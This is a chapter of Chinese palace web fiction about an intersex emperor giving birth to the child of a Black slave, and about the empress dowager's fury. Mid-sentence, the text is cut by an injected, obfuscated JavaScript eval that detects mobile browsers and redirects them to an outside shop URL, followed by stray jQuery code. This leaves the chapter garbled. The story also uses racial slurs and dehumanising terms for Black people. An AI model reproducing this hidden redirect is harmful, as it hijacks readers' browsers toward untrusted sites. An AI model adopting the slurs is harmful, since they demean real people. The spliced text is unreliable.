到了临产的那一天,养心殿里的丑事终是瞒不住了,整个太医院都知道了,皇宫乱作一团,不断地有御医带着弟子来往,还有稳婆在另一条道带着宫女进入,形成了两支忙而不乱的队伍。
慈宁宫自然也收到了消息,太后金嬉娘摔碎了手中的螺子黛,脸上挂着震惊不已的表情,脚下却还得领着一群人朝着乾清宫赶去。
到了乾清宫,金嬉娘看着床上不断惨叫的萧承乾,心口竟然一滞,随后气血逆行,她捂着胸口咽了又咽,可最终还是张嘴喷出一口老血,赶到这里连话都来不及说上一句,便吐了血,眼白一翻,就昏死在了侍女怀里,顿时现场大乱,有一半的医师都赶去抢救金嬉娘。
金嬉娘被移至偏殿照料着,等她悠悠转醒的时候,主殿也传来了好消息,说是父子平安,萧承乾顺利地生下了一个婴儿。可等金嬉娘被嬷嬷搀扶着去养心殿的路上,却发现满宫的宫人都寂静无声,个个下跪,也不敢出了这宫门,这场面让金嬉娘心里一咯噔,却也不敢倒下,强撑着身子叫人将自己扶去养心殿。
养心殿的门口跪着潘玉瓶,潘玉瓶这丫头在平时向来眼高于顶,哪怕是面向她这个太后,也不似常人般尊敬,行礼的时候总是头歪歪的,拿着斜眼去瞧她这太后的半张脸,可如今潘玉瓶连行礼也不敢行了,头也不抬了,就跪在门口五体投地,连头上的花钗掉了也不敢去捡。
金嬉娘心里越发恐慌,踏进了大殿,鼻间萦绕着的只有越发浓重的血腥味,还有不远处传来的切切细语声,那是萧承乾开心的声音:“好孩子,瞧你这英武的模样,咱家以后就叫你阿蛮怎么样……萧阿蛮,听着就霸气!”
金嬉娘绕过八仙过海的屏风,就看见龙床上的萧承乾抱着一个漆黑如炭的孩子,那婴儿躺在襁褓里,小小的也不哭闹,十分乖巧地嘬着手指,萧承乾抚在其上的手指白皙如玉,更衬得孩子黑得过分,这强烈的颜色反差叫金嬉娘差点一口气过不去就要昏倒,浑身颤抖得要死,身后的嬷嬷赶紧扶住主子,又有刚才的千年参汤吊命,金嬉娘想昏了落得清净,却也昏不过去,就强撑着,一会儿又缓过来了继续受罪。
金嬉娘嘴唇嗫嚅一会儿,才找到话头,一开始说得气若游丝:“你……你最近乖巧,闭门不出,我当你真的学乖了,在殿里苦读功课。不成想,你竟是在养胎。你玩了侍卫,又玩了黑奴,我都当你是玩心大发,不伤着自己也好。左右,你也不过是个废人,这皇位于你而言,无非是个躺在妈妈怀里吃奶的位置,万事有我这个太后帮你托举着。”
说到这里,中气上来了,渐渐有了音量:“你玩归玩,哀家对你所求只有平安二字!可你当真是个顽物,你就是粪坑里的硬石头!任我什么都不做,你也能自己把自己玩死!你竟然将自己搞怀孕了,怀上了那低贱的黑奴的种!你可知,你最大的罪过,不是玩弄黑奴,而是将你自己的龙体搞坏了!你是一国的帝王,你怎么能坏了自己的身体!”
说到最后,声音隐隐带上了哭腔,向来不可一世的摄政太后红了眼眶,却还倔强地不肯抬手去擦,金嬉娘骂道:“你若是在生孩子这事上走了鬼门关,不幸去了,你倒好,在地府下跟你的父皇团聚了,留下我一个孤寡老人,我活在阳间又有什么意思……你若是没了,这偌大的江山又能给谁,又有谁来守着。我不怪你任何事情,你想玩什么,我都不管你,可只有生死一事上,我只求你负这仅有的责任,难不成,你连好好活着都如此吃力么?你身系母后的命,也身系天下苍生的命,万灵系于一身,你只要活着,就是这天下间最大的贡献和成就了……”
金嬉娘看向孩子的眼神几乎要淬出火来,萧承乾却是脸不红心不跳,不急不慌地抬手抚上萧阿蛮的脸,将金嬉娘的视线隔绝,然后淡然说道:“母后,事已至此,又有什么可改变的?既然儿臣已经平安生下孩子,那说明上天也同意了这门喜事,这是天赐的孩子,你何必多作怨言?难不成,你还想杀了他?事到如今,儿臣也直说了,儿臣生来不男不女,阴阳失调的身体伤了天和,难得亲自怀胎顺利产子,已是极大的造化,你若是徒增杀孽,毁了这孩子的性命,他日要是我这身体出了差错,江山可就后继无人了。谁也不知道我还能有多少个孩子,母后,这其中的道理,想必你也该清楚了。”
被点破心思的金嬉娘述完了情,看见萧承乾这副死猪不怕开水烫的模样,心中的火焰一点一点浇灭,眼角的泪珠也凝滞不动,金嬉娘神色冰冷,只觉得那一腔怒火被压抑到了一种前所未有的程度,像是温度高到一定程度就会变成蓝色,蓝色的小小火焰在心中冰冷地燃烧,成了一团灼人的冰块。
金嬉娘冷冷地说:“真是哀家的好儿子,一段时间不见,尽增长了目中无长辈的叛逆本事。你以往,可没这般傲慢。是帝王本色,可惜用错了地方。你错不该违抗哀家的命令。你说得很有道理,不过是一个小畜生,生下了就生下了,若是杀了他,岂不是辜负了你的一番血肉?偌大的皇宫,怎么会养不起一条黑龙血脉的野种?你想养着当个趣子,那便养了。哀家大人有大量,自然不会跟这才出生的小野种过不去。”
话说到一半,语气陡然变得阴狠,“可你若是打着叫这孩子认祖归宗、光明正大的主意,那你可是白日做梦了!有哀家活着的一天,必不叫这黑人的血脉混淆了皇室的正统!你永远也别想着杂种能当上皇子!他只能像他前面的哥哥姐姐一样,生下来只能当个宫中的奴才!你休想对列祖列宗造孽!”
萧承乾也眸色冰冷,冷哼一声,说道:“是不是皇子,就不劳您老操心了。我的阿蛮是小奴才,自然有玉瓶这个大奴才负责照看。我们一家三口关起
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17781618|210106||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
房门来过日子,不知道有多舒服!这般幸福岂是母后这等上人可体谅的?劳累母后过来查看朕分娩了,既然龙子已然顺利诞生,还请母后回宫罢。太后慢走,不送。”
金嬉娘脸色铁青,看了萧承乾许久,萧承乾嘴上逞凶,脸上却苍白得毫无血色,冷汗涟涟沾满了他的发角,像是一条濒死的上岸搁浅的鱼,胸膛大口起伏,道尽了一个初分娩的产妇的虚弱无力。金嬉娘想起来,当初她耗尽全身力气生下萧承乾这个逆子的时候,她也是这般九死一生逃过鬼门关的,结果生下来的萧承乾却不争气,后来她再想怀第二子,却因为生萧承乾时身体亏空再也怀不上孩子。萧承乾就此成为金嬉娘的独子,金嬉娘为了庇护这个独子,几乎是不择手段的地步,她隐瞒他的双性秘密,也放纵他虚度青春。
不知道萧承乾如今产子,会不会重复她当初亏空身子的磨难?这又何尝不是一种血肉的传承?金嬉娘脸色冰冷,心里却越发地心疼。她痛苦地闭了闭眼,终究不忍心过度地苛责这个孩子,更别提对卧病在床的他施加惩罚,于是金嬉娘沉默不语,只默默地转过身去,离开了血腥味沉重的内室。
金嬉娘一走到大殿,便看见乌泱泱地跪了一地人,这群人自她进入养心殿开始便跪着,一个也不敢离去,如今她出来了,他们还在跪着等她发号施令。
为首的陈老太医是太医院院首,他德高望重,到了衣锦还乡的退休年纪,宫内还不肯放他归乡,只因他的医术是整个太医院最高明的。
而此时陈老太医却满脸惊恐,汗流浃背,整个身子发抖得厉害,料想他已是六十高龄,从医一辈子也从来没见过这等奇事,看到金嬉娘一出来,他就吓得举臂高呼道:“娘娘!太后娘娘!这分明是……是妖孽啊!!男性产子,产下的还是一个通体漆黑的怪物!臣等从医多年,从来没有见过人的肤色是可以黑成那样的!这是天谴!这是遭到了天谴啊!这是上天在警告……”
金嬉娘心里满是恼火,心想不就是一个黑人吗?陈老太医老了,蛰居太医院多年,没见过西域上贡的昆仑奴,真是个没见识的废物东西。金嬉娘心里骂道,嘴上也赶紧阻止,免得陈老太医在恐慌情绪下越说越离谱,坏了在场的人心,她冷静地说道:“陈老太医,你可是想说这是妖孽?依哀家看,事情并非如此。”
金嬉娘恢复了那不可一世、高高在上的上位者气度,她泰然一挥手,指着内室的方向说:“哀家已经细细查看过婴儿的模样,那孩子通体漆黑,眉目间却是慈眉善目,那分明是地藏菩萨的模样。地藏菩萨入地狱渡众鬼升天成佛,此次便是菩萨的一次历劫,地藏菩萨投胎入了凡间,自然是生自最尊贵的皇帝怀里,因此才有男子怀孕的奇闻。地狱来的地藏菩萨化作夜叉模样,又生自皇室,若是能成功渡化了菩萨,这是大功德一件呀!”